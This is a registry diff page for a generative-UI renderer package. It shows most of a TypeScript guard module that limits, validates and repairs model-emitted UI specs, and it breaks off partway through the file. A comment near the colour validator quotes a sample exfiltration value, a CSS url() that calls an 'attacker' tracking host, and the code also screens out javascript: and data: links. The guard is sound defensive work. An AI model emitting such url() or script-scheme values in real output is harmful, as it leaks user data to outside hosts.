@changfenhuang/dsh-genui 0.9.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (106) hide show
  1. package/CHANGELOG.md +367 -0
  2. package/LICENSE +21 -0
  3. package/README.md +261 -0
  4. package/README.zh-CN.md +261 -0
  5. package/SKILL.md +115 -0
  6. package/cordis.patch.yml +9 -0
  7. package/demo-prompts.md +118 -0
  8. package/lib/assets/echarts.js +64 -0
  9. package/lib/assets/mermaid.js +3591 -0
  10. package/lib/assets/three.js +3844 -0
  11. package/lib/client.js +5 -0
  12. package/lib/index.js +1895 -0
  13. package/lib/invariant.js +19 -0
  14. package/lib/types/client/EChartNode.d.ts +4 -0
  15. package/lib/types/client/ErrorBoundary.d.ts +30 -0
  16. package/lib/types/client/GenuiBlock.d.ts +7 -0
  17. package/lib/types/client/PlotBlock.d.ts +44 -0
  18. package/lib/types/client/action-context.d.ts +7 -0
  19. package/lib/types/client/asset-echarts.d.ts +15 -0
  20. package/lib/types/client/asset-loader.d.ts +31 -0
  21. package/lib/types/client/asset-mermaid.d.ts +1 -0
  22. package/lib/types/client/asset-three.d.ts +1 -0
  23. package/lib/types/client/blocks/advanced.d.ts +104 -0
  24. package/lib/types/client/blocks/basic.d.ts +27 -0
  25. package/lib/types/client/blocks/charts.d.ts +38 -0
  26. package/lib/types/client/blocks/diagram/geometry.d.ts +73 -0
  27. package/lib/types/client/blocks/diagram/index.d.ts +5 -0
  28. package/lib/types/client/blocks/diagram/layout.d.ts +41 -0
  29. package/lib/types/client/blocks/diagram/theme.d.ts +35 -0
  30. package/lib/types/client/blocks/forms.d.ts +83 -0
  31. package/lib/types/client/blocks/render-node.d.ts +10 -0
  32. package/lib/types/client/blocks/state.d.ts +58 -0
  33. package/lib/types/client/dom-fence.d.ts +14 -0
  34. package/lib/types/client/echarts-lazy.d.ts +17 -0
  35. package/lib/types/client/fence-render.d.ts +58 -0
  36. package/lib/types/client/gallery.d.ts +9 -0
  37. package/lib/types/client/guard.d.ts +126 -0
  38. package/lib/types/client/index.d.ts +36 -0
  39. package/lib/types/client/interaction-store.d.ts +43 -0
  40. package/lib/types/client/mermaid-core.d.ts +8 -0
  41. package/lib/types/client/mermaid-lazy.d.ts +9 -0
  42. package/lib/types/client/mermaid-safe.d.ts +52 -0
  43. package/lib/types/client/panel-command.d.ts +29 -0
  44. package/lib/types/client/panel-store.d.ts +94 -0
  45. package/lib/types/client/panel.d.ts +15 -0
  46. package/lib/types/client/parse-partial.d.ts +37 -0
  47. package/lib/types/client/safe-math.d.ts +43 -0
  48. package/lib/types/client/scene3d-core.d.ts +21 -0
  49. package/lib/types/client/scene3d-lazy.d.ts +8 -0
  50. package/lib/types/client/spec.d.ts +610 -0
  51. package/lib/types/client/toolview.d.ts +7 -0
  52. package/lib/types/index.d.ts +1 -0
  53. package/lib/types/plugin/index.d.ts +25 -0
  54. package/lib/types/plugin/invariant.d.ts +15 -0
  55. package/lib/types/plugin/tool.d.ts +27 -0
  56. package/lib/types/shared/fence-repair.d.ts +67 -0
  57. package/package.json +121 -0
  58. package/src/client/EChartNode.tsx +242 -0
  59. package/src/client/ErrorBoundary.tsx +66 -0
  60. package/src/client/GenuiBlock.module.css +1263 -0
  61. package/src/client/GenuiBlock.tsx +166 -0
  62. package/src/client/PlotBlock.module.css +155 -0
  63. package/src/client/PlotBlock.tsx +431 -0
  64. package/src/client/action-context.ts +32 -0
  65. package/src/client/asset-echarts.ts +25 -0
  66. package/src/client/asset-loader.ts +79 -0
  67. package/src/client/asset-mermaid.ts +13 -0
  68. package/src/client/asset-three.ts +12 -0
  69. package/src/client/blocks/advanced.tsx +435 -0
  70. package/src/client/blocks/basic.tsx +116 -0
  71. package/src/client/blocks/charts.tsx +319 -0
  72. package/src/client/blocks/diagram/geometry.ts +151 -0
  73. package/src/client/blocks/diagram/index.tsx +284 -0
  74. package/src/client/blocks/diagram/layout.ts +199 -0
  75. package/src/client/blocks/diagram/theme.ts +108 -0
  76. package/src/client/blocks/forms.tsx +523 -0
  77. package/src/client/blocks/render-node.tsx +260 -0
  78. package/src/client/blocks/state.ts +61 -0
  79. package/src/client/dom-fence.tsx +641 -0
  80. package/src/client/echarts-lazy.ts +35 -0
  81. package/src/client/fence-render.tsx +230 -0
  82. package/src/client/gallery.ts +128 -0
  83. package/src/client/guard.ts +1450 -0
  84. package/src/client/index.tsx +195 -0
  85. package/src/client/interaction-store.ts +122 -0
  86. package/src/client/mermaid-core.ts +121 -0
  87. package/src/client/mermaid-lazy.ts +31 -0
  88. package/src/client/mermaid-safe.ts +122 -0
  89. package/src/client/panel-command.ts +119 -0
  90. package/src/client/panel-store.ts +471 -0
  91. package/src/client/panel.tsx +185 -0
  92. package/src/client/parse-partial.ts +162 -0
  93. package/src/client/safe-math.ts +270 -0
  94. package/src/client/scene3d-core.ts +192 -0
  95. package/src/client/scene3d-lazy.ts +26 -0
  96. package/src/client/spec.ts +767 -0
  97. package/src/client/toolview.tsx +66 -0
  98. package/src/css-modules.d.ts +5 -0
  99. package/src/index.ts +12 -0
  100. package/src/plugin/index.ts +173 -0
  101. package/src/plugin/invariant.ts +30 -0
  102. package/src/plugin/node-shims.d.ts +31 -0
  103. package/src/plugin/tool.ts +330 -0
  104. package/src/shared/fence-repair.ts +244 -0
  105. package/tsconfig.json +35 -0
  106. package/tsdown.config.ts +193 -0
@@ -0,0 +1,1450 @@
1
+ /**
2
+ * GenUI spec guard: resource limits, structural validation, and deterministic
3
+ * repair for ```dsh-ui fence specs.
4
+ *
5
+ * The renderer path runs every fence body through `repairGenuiSpec` before
6
+ * rendering, so a pathological or hostile spec — deep nesting, thousands of
7
+ * nodes, oversized strings, out-of-range numbers — degrades gracefully instead
8
+ * of stalling the UI. Repair is deterministic and prefix-stable: a component
9
+ * that survives repair of a partial stream keeps its position when later
10
+ * chunks arrive, so streaming re-renders stay consistent.
11
+ *
12
+ * Policy:
13
+ * - Unknown node `type`s pass through untouched (plugin-registered custom
14
+ * components via `registerGenuiComponent` are opaque to this package).
15
+ * - Known types: required fields must have the right type or the node is
16
+ * dropped; numbers are clamped into range; strings truncated; arrays
17
+ * sliced to their caps; containers recursed with a depth budget.
18
+ * - The whole spec carries a node budget; once exhausted, remaining siblings
19
+ * are elided.
20
+ */
21
+ import type { GenuiFileTreeNode, GenuiList, GenuiNode, GenuiPlot, GenuiPlotSeries, GenuiScene3D, GenuiSpec, GenuiDiagram, GenuiDiagramTheme, GenuiDiagramKind } from './spec.ts'
22
+ import { wrapSingleComponentRoot } from './spec.ts'
23
+
24
+ /** Hard resource limits enforced by repair (and mirrored at render time). */
25
+ export const GENUI_LIMITS = {
26
+ /** Maximum nesting depth of the component tree. */
27
+ maxDepth: 8,
28
+ /** Maximum total nodes across the whole spec. */
29
+ maxNodes: 200,
30
+ /** Maximum length of any plain string field. */
31
+ maxString: 2000,
32
+ /** Maximum length of a `code` body. */
33
+ maxCode: 12_000,
34
+ /** Maximum length of a mermaid source. */
35
+ maxMermaid: 8000,
36
+ /** Maximum `grid` columns. */
37
+ maxGridCols: 12,
38
+ /** Maximum `tabs` count. */
39
+ maxTabs: 12,
40
+ /** Maximum `accordion` items. */
41
+ maxAccordionItems: 24,
42
+ /** Maximum `list` items. */
43
+ maxListItems: 50,
44
+ /** Maximum `select`/`radio` options. */
45
+ maxOptions: 50,
46
+ /** Maximum `table` rows / columns. */
47
+ maxTableRows: 50,
48
+ maxTableCols: 12,
49
+ /** Maximum `chart` data points per series. */
50
+ maxChartPoints: 60,
51
+ /** Maximum `plot` series and per-series parameters. */
52
+ maxPlotSeries: 8,
53
+ maxPlotParams: 6,
54
+ /** Maximum `scene3d` meshes. */
55
+ maxMeshes: 5,
56
+ /** Maximum `quiz` options. */
57
+ maxQuizOptions: 8,
58
+ /** Maximum `steps` / `timeline` / `breadcrumb` / `keyvalue` entries. */
59
+ maxSteps: 24,
60
+ maxTimelineItems: 24,
61
+ maxBreadcrumbItems: 12,
62
+ maxKeyValuePairs: 24,
63
+ /** Maximum `file-tree` nesting. */
64
+ maxTreeDepth: 6,
65
+ /** Maximum `diagram` nodes / edges / zones / focal accents (editorial
66
+ * complexity budget, mirroring diagram-design's §7 limits). */
67
+ maxDiagramNodes: 9,
68
+ maxDiagramEdges: 12,
69
+ maxDiagramZones: 3,
70
+ maxDiagramFocal: 2,
71
+ maxDiagramLabel: 14,
72
+
73
+ /** Maximum depth of an `echart` option object (prevents pathological nested
74
+ * ECharts configs from stalling the guard walk). */
75
+ maxEChartOptionDepth: 10,
76
+ /** Maximum length of any single array inside an `echart` option (prevents
77
+ * a model from stalling rendering with `series.data` of hundreds of
78
+ * thousands of points). */
79
+ maxEChartArrayLen: 500,
80
+ /** Maximum total entries (object keys + array elements) traversed while
81
+ * sanitizing an `echart` option. Bounds the walk so a pathologically
82
+ * large option object cannot stall the guard. */
83
+ maxEChartOptionNodes: 2000,
84
+ } as const
85
+
86
+ /** Result of `validateGenuiSpec`. */
87
+ export interface GenuiValidation {
88
+ ok: boolean
89
+ /** Human-readable problems, empty when `ok`. */
90
+ errors: string[]
91
+ }
92
+
93
+ /* ---------------- shared field helpers ---------------- */
94
+
95
+ /** Is `v` one of `values`? (enum guard) */
96
+ function inEnum<T extends string>(v: unknown, values: readonly T[]): v is T {
97
+ return typeof v === 'string' && (values as readonly string[]).includes(v)
98
+ }
99
+
100
+ /** String field: truncate a string to `cap`, or undefined when not a string. */
101
+ function str(v: unknown, cap: number): string | undefined {
102
+ return typeof v === 'string' ? v.slice(0, cap) : undefined
103
+ }
104
+
105
+ /**
106
+ * Color field: the value lands in an inline `style` (background/stroke) or
107
+ * THREE.Color. Arbitrary CSS values are an exfiltration channel — a model
108
+ * (or a hostile spec) could emit `url(https://attacker/track?...)` and the
109
+ * browser would fetch it. Only formats that name a color pass: hex, rgb/hsl
110
+ * functions, and host design tokens (`var(--dsw-*)`). Anything else degrades
111
+ * to the component's default palette.
112
+ */
113
+ const SAFE_COLOR_RE = /^(?:#[\da-fA-F]{3,8}|rgba?\([^)]{0,64}\)|hsla?\([^)]{0,64}\)|var\(--dsw-[\w-]+(?:,\s*#[0-9a-fA-F]{3,8})?\))$/
114
+
115
+ function color(v: unknown): string | undefined {
116
+ if (typeof v !== 'string') return undefined
117
+ const s = v.trim()
118
+ return s.length <= 64 && SAFE_COLOR_RE.test(s) ? s : undefined
119
+ }
120
+
121
+ /**
122
+ * Link target field: only http(s) and mailto survive. `javascript:`/`data:`
123
+ * and every other scheme degrade to a plain-text node — the model's link is
124
+ * display, not an execution channel.
125
+ */
126
+ function safeHref(v: unknown): string | undefined {
127
+ if (typeof v !== 'string') return undefined
128
+ const s = v.trim()
129
+ if (s.length > 2048) return undefined
130
+ return /^https?:\/\//i.test(s) || /^mailto:[^@\s]+@[^@\s]+$/i.test(s) ? s : undefined
131
+ }
132
+
133
+ /** Media loads bytes, so accept only browser-reachable http(s) or same-origin
134
+ * relative paths. Active/local schemes and protocol-relative URLs are
135
+ * rejected. The renderer always keeps playback user-controlled. */
136
+ function safeMediaSrc(v: unknown): string | undefined {
137
+ if (typeof v !== 'string') return undefined
138
+ const s = v.trim()
139
+ if (s === '' || s.length > 2048) return undefined
140
+ if (/^https?:\/\//i.test(s)) return s
141
+ if (/^[a-z][a-z0-9+.-]*:/i.test(s) || /^[/\\]{2}/.test(s)) return undefined
142
+ return s
143
+ }
144
+
145
+ /** Finite-number field: clamp into [min, max], or undefined when not finite. */
146
+ function num(v: unknown, min: number, max: number): number | undefined {
147
+ return typeof v === 'number' && Number.isFinite(v) ? Math.min(max, Math.max(min, v)) : undefined
148
+ }
149
+
150
+ /** Integer field: clamp into [min, max], or undefined when not a finite integer. */
151
+ function int(v: unknown, min: number, max: number): number | undefined {
152
+ return typeof v === 'number' && Number.isFinite(v) ? Math.min(max, Math.max(min, Math.trunc(v))) : undefined
153
+ }
154
+
155
+ /** Optional enum field: the value when it matches, otherwise undefined. */
156
+ function enu<T extends string>(v: unknown, values: readonly T[]): T | undefined {
157
+ return inEnum(v, values) ? v : undefined
158
+ }
159
+
160
+ /** Plain object (not array, not null). */
161
+ function obj(v: unknown): Record<string, unknown> | undefined {
162
+ return typeof v === 'object' && v !== null && !Array.isArray(v) ? v as Record<string, unknown> : undefined
163
+ }
164
+
165
+ /**
166
+ * Optional-field spread helper. `exactOptionalPropertyTypes` forbids
167
+ * `{ gap: number | undefined }`; computing the value into a const first and
168
+ * spreading `opt('gap', g)` keeps every optional field either absent or a
169
+ * plain value.
170
+ */
171
+ function opt<K extends string, V>(key: K, value: V | undefined): Partial<Record<K, V>> {
172
+ return value === undefined ? {} : { [key]: value } as Partial<Record<K, V>>
173
+ }
174
+
175
+ const TEXT_SIZES = ['h1', 'h2', 'h3', 'body', 'muted', 'caption'] as const
176
+ const BUTTON_TONES = ['primary', 'danger', 'success', 'ghost'] as const
177
+ const BADGE_TONES = ['success', 'warn', 'danger', 'accent'] as const
178
+ const INPUT_TYPES = ['text', 'email', 'password'] as const
179
+ const CALLOUT_TONES = ['info', 'success', 'warning', 'error'] as const
180
+ const CHART_KINDS = ['bars', 'line', 'donut'] as const
181
+ const PLOT_KINDS = ['line', 'area', 'scatter'] as const
182
+ const MEDIA_ASPECT_RATIOS = ['16:9', '4:3', '1:1', '9:16'] as const
183
+ const MESH_SHAPES = ['box', 'sphere', 'cone', 'cylinder', 'torus'] as const
184
+ const FILE_TYPES = ['file', 'dir'] as const
185
+ const DIAGRAM_KINDS: readonly string[] = [
186
+ 'architecture', 'it-state', 'flowchart', 'sequence', 'state', 'er', 'timeline',
187
+ 'swimlane', 'quadrant', 'radar', 'loop', 'nested', 'tree', 'org-chart', 'layers',
188
+ 'venn', 'pyramid', 'bar', 'line', 'gantt', 'scatter', 'high-level', 'process',
189
+ 'medallion', 'data-flow', 'dp-integration', 'dp-security-matrix',
190
+ ]
191
+ const DIAGRAM_NODE_TYPES = ['focal', 'backend', 'store', 'external', 'input', 'optional', 'security'] as const
192
+ const DIAGRAM_VARIANTS = ['light', 'dark', 'editorial'] as const
193
+ const DIAGRAM_EDGE_KINDS = ['solid', 'dashed', 'accent', 'link'] as const
194
+ const DIAGRAM_ROUTES = ['auto', 'orthogonal', 'straight'] as const
195
+
196
+ const ECHART_PRESETS = ['bar', 'line', 'area', 'pie', 'scatter'] as const
197
+
198
+ /* ---------------- repair ---------------- */
199
+
200
+ interface RepairCtx {
201
+ /** Nodes left in the budget; 0 stops the walk. */
202
+ remaining: number
203
+ }
204
+
205
+ /** Walk `list` with the shared node budget; drops invalid entries. */
206
+ function repairItems(list: unknown, ctx: RepairCtx, depth: number): GenuiNode[] {
207
+ if (!Array.isArray(list)) return []
208
+ const out: GenuiNode[] = []
209
+ for (const item of list) {
210
+ if (ctx.remaining <= 0) break
211
+ ctx.remaining -= 1
212
+ const node = repairNode(item, ctx, depth)
213
+ if (node !== null) out.push(node)
214
+ }
215
+ return out
216
+ }
217
+
218
+ function repairNode(value: unknown, ctx: RepairCtx, depth: number): GenuiNode | null {
219
+ if (depth > GENUI_LIMITS.maxDepth) return null
220
+ const v = obj(value)
221
+ if (v === undefined) return null
222
+ const type = v.type
223
+ if (typeof type !== 'string') return null
224
+ switch (type) {
225
+ case 'text': {
226
+ const content = str(v.content, GENUI_LIMITS.maxString) ?? str(v.text, GENUI_LIMITS.maxString)
227
+ if (content === undefined) return null
228
+ return { type: 'text', content, ...opt('size', enu(v.size, TEXT_SIZES)), ...opt('center', v.center === true ? true : undefined) }
229
+ }
230
+ case 'row': {
231
+ return { type: 'row', items: repairItems(v.items, ctx, depth + 1), ...opt('wrap', v.wrap === true ? true : undefined), ...opt('spacer', v.spacer === true ? true : undefined) }
232
+ }
233
+ case 'col': {
234
+ return { type: 'col', items: repairItems(v.items, ctx, depth + 1), ...opt('gap', num(v.gap, 0, 96)) }
235
+ }
236
+ case 'grid': {
237
+ return { type: 'grid', cols: int(v.cols, 1, GENUI_LIMITS.maxGridCols) ?? 1, items: repairItems(v.items, ctx, depth + 1) }
238
+ }
239
+ case 'card': {
240
+ return { type: 'card', items: repairItems(v.items, ctx, depth + 1), ...opt('title', str(v.title, GENUI_LIMITS.maxString)) }
241
+ }
242
+ case 'button': {
243
+ const label = str(v.label, GENUI_LIMITS.maxString)
244
+ if (label === undefined) return null
245
+ return {
246
+ type: 'button', label,
247
+ ...opt('tone', enu(v.tone, BUTTON_TONES)),
248
+ ...opt('full', v.full === true ? true : undefined),
249
+ ...opt('small', v.small === true ? true : undefined),
250
+ ...opt('icon', str(v.icon, 64)),
251
+ ...opt('action', str(v.action, 200)),
252
+ }
253
+ }
254
+ case 'input': {
255
+ return {
256
+ type: 'input',
257
+ ...opt('label', str(v.label, GENUI_LIMITS.maxString)),
258
+ ...opt('placeholder', str(v.placeholder, GENUI_LIMITS.maxString)),
259
+ ...opt('value', str(v.value, GENUI_LIMITS.maxString)),
260
+ ...opt('inputType', enu(v.inputType, INPUT_TYPES)),
261
+ ...opt('action', str(v.action, 200)),
262
+ ...opt('id', str(v.id, 200)),
263
+ }
264
+ }
265
+ case 'select': {
266
+ const options = repairStrings(v.options, GENUI_LIMITS.maxOptions, GENUI_LIMITS.maxString)
267
+ if (options === undefined) return null
268
+ return {
269
+ type: 'select', options,
270
+ ...opt('label', str(v.label, GENUI_LIMITS.maxString)),
271
+ ...opt('action', str(v.action, 200)),
272
+ ...opt('selected', int(v.selected, 0, options.length - 1)),
273
+ ...opt('id', str(v.id, 200)),
274
+ }
275
+ }
276
+ case 'checkbox': {
277
+ const label = str(v.label, GENUI_LIMITS.maxString)
278
+ if (label === undefined) return null
279
+ return { type: 'checkbox', label, ...opt('checked', v.checked === true ? true : undefined), ...opt('action', str(v.action, 200)) }
280
+ }
281
+ case 'link': {
282
+ const label = str(v.label, GENUI_LIMITS.maxString)
283
+ if (label === undefined) return null
284
+ return { type: 'link', label, ...opt('href', safeHref(v.href)) }
285
+ }
286
+ case 'audio': {
287
+ const src = safeMediaSrc(v.src)
288
+ if (src === undefined) return null
289
+ return {
290
+ type: 'audio', src,
291
+ ...opt('alt', str(v.alt, GENUI_LIMITS.maxString)),
292
+ ...opt('loop', v.loop === true ? true : undefined),
293
+ }
294
+ }
295
+ case 'video': {
296
+ const src = safeMediaSrc(v.src)
297
+ if (src === undefined) return null
298
+ return {
299
+ type: 'video', src,
300
+ ...opt('alt', str(v.alt, GENUI_LIMITS.maxString)),
301
+ ...opt('poster', safeMediaSrc(v.poster)),
302
+ ...opt('loop', v.loop === true ? true : undefined),
303
+ ...opt('muted', v.muted === true ? true : undefined),
304
+ ...opt('aspectRatio', enu(v.aspectRatio, MEDIA_ASPECT_RATIOS)),
305
+ }
306
+ }
307
+ case 'badge': {
308
+ const label = str(v.label, GENUI_LIMITS.maxString) ?? str(v.text, GENUI_LIMITS.maxString) ?? str(v.value, GENUI_LIMITS.maxString)
309
+ if (label === undefined) return null
310
+ return { type: 'badge', label, ...opt('tone', enu(v.tone, BADGE_TONES)), ...opt('icon', str(v.icon, 64)) }
311
+ }
312
+ case 'stat': {
313
+ const label = str(v.label, GENUI_LIMITS.maxString)
314
+ const value = str(v.value, 128)
315
+ if (label === undefined || value === undefined) return null
316
+ return { type: 'stat', label, value, ...opt('delta', str(v.delta, 64)) }
317
+ }
318
+ case 'progress': {
319
+ const value = num(v.value, 0, 100)
320
+ if (value === undefined) return null
321
+ return { type: 'progress', value, ...opt('label', str(v.label, GENUI_LIMITS.maxString)), ...opt('valueLabel', str(v.valueLabel, 64)) }
322
+ }
323
+ case 'divider': return { type: 'divider' }
324
+ case 'spacer': return { type: 'spacer' }
325
+ case 'avatar': {
326
+ const name = str(v.name, 64)
327
+ if (name === undefined) return null
328
+ return { type: 'avatar', name, ...opt('color', color(v.color)) }
329
+ }
330
+ case 'list': {
331
+ const items = repairListItems(v.items, GENUI_LIMITS.maxListItems, ctx, depth + 1)
332
+ if (items === undefined) return null
333
+ return { type: 'list', items }
334
+ }
335
+ case 'table': {
336
+ let rawCols = v.columns as unknown
337
+ let rawRows = v.rows !== undefined ? v.rows : (v as Record<string, unknown>).data
338
+ // Self-heal model-shaped tables: antd-style object columns
339
+ // ({title,key}) become header strings, and object-array rows (or a
340
+ // `data` alias) flatten to 2D rows keyed by the column keys — without
341
+ // this the whole node is dropped for "missing 2D rows" and the user
342
+ // sees nothing (issue #42).
343
+ if (Array.isArray(rawCols) && rawCols.length > 0 && typeof rawCols[0] === 'object' && rawCols[0] !== null) {
344
+ rawCols = rawCols.map(c => columnHeaderText(c))
345
+ }
346
+ if (Array.isArray(rawRows) && rawRows.length > 0 && typeof rawRows[0] === 'object' && rawRows[0] !== null && !Array.isArray(rawRows[0])) {
347
+ const keys = Array.isArray(v.columns) && v.columns.length > 0 && typeof v.columns[0] === 'object' && v.columns[0] !== null
348
+ ? v.columns.map(c => columnKeyOf(c)).filter((k): k is string => k !== undefined)
349
+ : Object.keys(rawRows[0] as Record<string, unknown>)
350
+ rawRows = rawRows.map(row => keys.map(k => cellText((row as Record<string, unknown>)[k])))
351
+ }
352
+ const columns = repairStrings(rawCols, GENUI_LIMITS.maxTableCols, 128)
353
+ const rows = repairRows(rawRows, GENUI_LIMITS.maxTableRows, GENUI_LIMITS.maxTableCols)
354
+ if (columns === undefined || rows === undefined) return null
355
+ return { type: 'table', columns, rows }
356
+ }
357
+ case 'chart': {
358
+ const data = repairChartData(v.data, GENUI_LIMITS.maxChartPoints)
359
+ const series = Array.isArray(v.series) ? repairSeries(v.series, GENUI_LIMITS.maxPlotSeries, GENUI_LIMITS.maxChartPoints) : undefined
360
+ // `data` is required by the type but grouped bars may ship `series`
361
+ // alone; a series-only chart gets an empty data array (the renderer
362
+ // reads `series` in that case).
363
+ if (data === undefined && series === undefined) return null
364
+ return { type: 'chart', data: data ?? [], ...opt('kind', enu(v.kind, CHART_KINDS)), ...opt('series', series) }
365
+ }
366
+ case 'tabs': {
367
+ const tabs = repairTabs(v.tabs, ctx, depth)
368
+ if (tabs === undefined) return null
369
+ return { type: 'tabs', tabs }
370
+ }
371
+ case 'plot': {
372
+ const series = repairPlotSeries(v.series, GENUI_LIMITS.maxPlotSeries)
373
+ if (series === undefined) return null
374
+ return {
375
+ type: 'plot', series,
376
+ ...opt('xMin', num(v.xMin, -1e6, 1e6)),
377
+ ...opt('xMax', num(v.xMax, -1e6, 1e6)),
378
+ ...opt('yMin', num(v.yMin, -1e9, 1e9)),
379
+ ...opt('yMax', num(v.yMax, -1e9, 1e9)),
380
+ ...opt('title', str(v.title, GENUI_LIMITS.maxString)),
381
+ }
382
+ }
383
+ case 'callout': {
384
+ const content = str(v.content, GENUI_LIMITS.maxString)
385
+ if (content === undefined) return null
386
+ return { type: 'callout', content, ...opt('tone', enu(v.tone, CALLOUT_TONES)), ...opt('title', str(v.title, GENUI_LIMITS.maxString)) }
387
+ }
388
+ case 'steps': {
389
+ const steps = repairSteps(v.steps)
390
+ if (steps === undefined) return null
391
+ return { type: 'steps', steps, ...opt('current', int(v.current, 0, steps.length)) }
392
+ }
393
+ case 'keyvalue': {
394
+ const pairs = repairPairs(v.pairs, GENUI_LIMITS.maxKeyValuePairs)
395
+ if (pairs === undefined) return null
396
+ return { type: 'keyvalue', pairs }
397
+ }
398
+ case 'diff': {
399
+ const diffs = repairDiffs(v.diffs)
400
+ if (diffs === undefined) return null
401
+ return { type: 'diff', diffs }
402
+ }
403
+ case 'json': {
404
+ // Any JSON value is acceptable; only the node itself is validated.
405
+ if (!('value' in v)) return null
406
+ return { type: 'json', value: v.value }
407
+ }
408
+ case 'code': {
409
+ const code = str(v.code, GENUI_LIMITS.maxCode)
410
+ if (code === undefined) return null
411
+ return { type: 'code', code, ...opt('lang', str(v.lang, 64)) }
412
+ }
413
+ case 'radio': {
414
+ const options = repairStrings(v.options, GENUI_LIMITS.maxOptions, GENUI_LIMITS.maxString)
415
+ if (options === undefined) return null
416
+ return {
417
+ type: 'radio', options,
418
+ ...opt('label', str(v.label, GENUI_LIMITS.maxString)),
419
+ ...opt('selected', int(v.selected, 0, options.length - 1)),
420
+ ...opt('action', str(v.action, 200)),
421
+ ...opt('group', str(v.group, 200)),
422
+ // answer: option index (number) or label (string); out-of-range
423
+ // indices are DROPPED (clamping would silently grade against the
424
+ // wrong option)
425
+ ...opt('answer', typeof v.answer === 'number' && Number.isFinite(v.answer)
426
+ && v.answer >= 0 && v.answer < options.length
427
+ ? Math.trunc(v.answer)
428
+ : typeof v.answer === 'string' ? v.answer.slice(0, 512) : undefined),
429
+ ...opt('explanation', str(v.explanation, GENUI_LIMITS.maxString)),
430
+ }
431
+ }
432
+ case 'submit': {
433
+ const label = str(v.label, GENUI_LIMITS.maxString)
434
+ // action is OPTIONAL: local grading (any question carries `answer`)
435
+ // needs no round trip, so a submit without an action is valid. It only
436
+ // becomes semantically required when no local answers exist — the
437
+ // renderer disables the button then (honest affordance).
438
+ const action = str(v.action, 200)
439
+ if (label === undefined) return null
440
+ return {
441
+ type: 'submit', label,
442
+ ...opt('action', action),
443
+ ...opt('resetAction', str(v.resetAction, 200)),
444
+ ...opt('groups', repairStrings(v.groups, GENUI_LIMITS.maxOptions, 200)),
445
+ }
446
+ }
447
+ case 'switch': {
448
+ const label = str(v.label, GENUI_LIMITS.maxString)
449
+ if (label === undefined) return null
450
+ return { type: 'switch', label, ...opt('checked', v.checked === true ? true : undefined), ...opt('action', str(v.action, 200)) }
451
+ }
452
+ case 'slider': {
453
+ const min = num(v.min, -1e9, 1e9) ?? 0
454
+ const max = num(v.max, -1e9, 1e9) ?? 100
455
+ const lo = Math.min(min, max)
456
+ const hi = Math.max(min, max)
457
+ const step = num(v.step, 1e-9, Math.max(hi - lo, 1e-9))
458
+ const value = num(v.value, lo, hi) ?? lo
459
+ return {
460
+ type: 'slider',
461
+ min: lo,
462
+ max: hi,
463
+ ...opt('step', step),
464
+ value,
465
+ ...opt('label', str(v.label, GENUI_LIMITS.maxString)),
466
+ ...opt('action', str(v.action, 200)),
467
+ ...opt('id', str(v.id, 200)),
468
+ }
469
+ }
470
+ case 'textarea': {
471
+ return {
472
+ type: 'textarea',
473
+ ...opt('label', str(v.label, GENUI_LIMITS.maxString)),
474
+ ...opt('placeholder', str(v.placeholder, GENUI_LIMITS.maxString)),
475
+ ...opt('rows', int(v.rows, 1, 30)),
476
+ ...opt('value', str(v.value, GENUI_LIMITS.maxString)),
477
+ ...opt('action', str(v.action, 200)),
478
+ ...opt('id', str(v.id, 200)),
479
+ }
480
+ }
481
+ case 'accordion': {
482
+ const items = repairAccordion(v.items, ctx, depth)
483
+ if (items === undefined) return null
484
+ return { type: 'accordion', items }
485
+ }
486
+ case 'copy': {
487
+ const text = str(v.text, GENUI_LIMITS.maxCode)
488
+ if (text === undefined) return null
489
+ return { type: 'copy', text, ...opt('label', str(v.label, 128)) }
490
+ }
491
+ case 'mermaid': {
492
+ const code = str(v.code, GENUI_LIMITS.maxMermaid)
493
+ if (code === undefined) return null
494
+ return { type: 'mermaid', code }
495
+ }
496
+ case 'scene3d': {
497
+ const meshes = repairMeshes(v.meshes)
498
+ if (meshes === undefined) return null
499
+ return { type: 'scene3d', meshes, ...opt('title', str(v.title, GENUI_LIMITS.maxString)), ...opt('ambient', num(v.ambient, 0, 2)), ...opt('background', color(v.background)) }
500
+ }
501
+ case 'diagram': {
502
+ const repaired = repairDiagram(v)
503
+ return repaired
504
+ }
505
+ case 'timeline': {
506
+ const items = repairTimeline(v.items, GENUI_LIMITS.maxTimelineItems)
507
+ if (items === undefined) return null
508
+ return { type: 'timeline', items }
509
+ }
510
+ case 'file-tree': {
511
+ const items = repairTree(v.items, GENUI_LIMITS.maxListItems)
512
+ if (items === undefined) return null
513
+ return { type: 'file-tree', items }
514
+ }
515
+ case 'breadcrumb': {
516
+ const items = repairStrings(v.items, GENUI_LIMITS.maxBreadcrumbItems, GENUI_LIMITS.maxString)
517
+ if (items === undefined) return null
518
+ return { type: 'breadcrumb', items }
519
+ }
520
+ case 'quiz': {
521
+ const question = str(v.question, GENUI_LIMITS.maxString)
522
+ const options = repairQuizOptions(v.options)
523
+ if (question === undefined || options === undefined) return null
524
+ return {
525
+ type: 'quiz', question, options,
526
+ ...opt('explanation', str(v.explanation, GENUI_LIMITS.maxString)),
527
+ ...opt('id', str(v.id, 200)),
528
+ ...opt('action', str(v.action, 200)),
529
+ }
530
+ }
531
+ case 'echart': {
532
+ // Preset shorthand data/series reuse the chart repair helpers.
533
+ const data = v.data !== undefined ? repairChartData(v.data, GENUI_LIMITS.maxChartPoints) : undefined
534
+ const series = v.series !== undefined && Array.isArray(v.series)
535
+ ? repairSeries(v.series, GENUI_LIMITS.maxPlotSeries, GENUI_LIMITS.maxChartPoints)
536
+ : undefined
537
+ // Full option: depth-bounded pass-through (the model writes the ECharts
538
+ // option object; the guard walks it to cap nesting but does not
539
+ // validate ECharts semantics — that is echarts' own job).
540
+ const sanitized = v.option !== undefined
541
+ ? sanitizeEChartOption(v.option, 0, { count: GENUI_LIMITS.maxEChartOptionNodes })
542
+ : undefined
543
+ // A chart option root is always a plain object; a scalar root is
544
+ // invalid, so degrade to preset/data/series handling (option dropped).
545
+ const option: Record<string, unknown> | undefined =
546
+ sanitized === undefined || typeof sanitized !== 'object' || sanitized === null || Array.isArray(sanitized)
547
+ ? undefined
548
+ : sanitized as Record<string, unknown>
549
+ // At least one of preset+data or option must be present.
550
+ if (option === undefined && data === undefined && series === undefined) return null
551
+ return {
552
+ type: 'echart',
553
+ ...opt('title', str(v.title, GENUI_LIMITS.maxString)),
554
+ ...opt('height', int(v.height, 100, 800)),
555
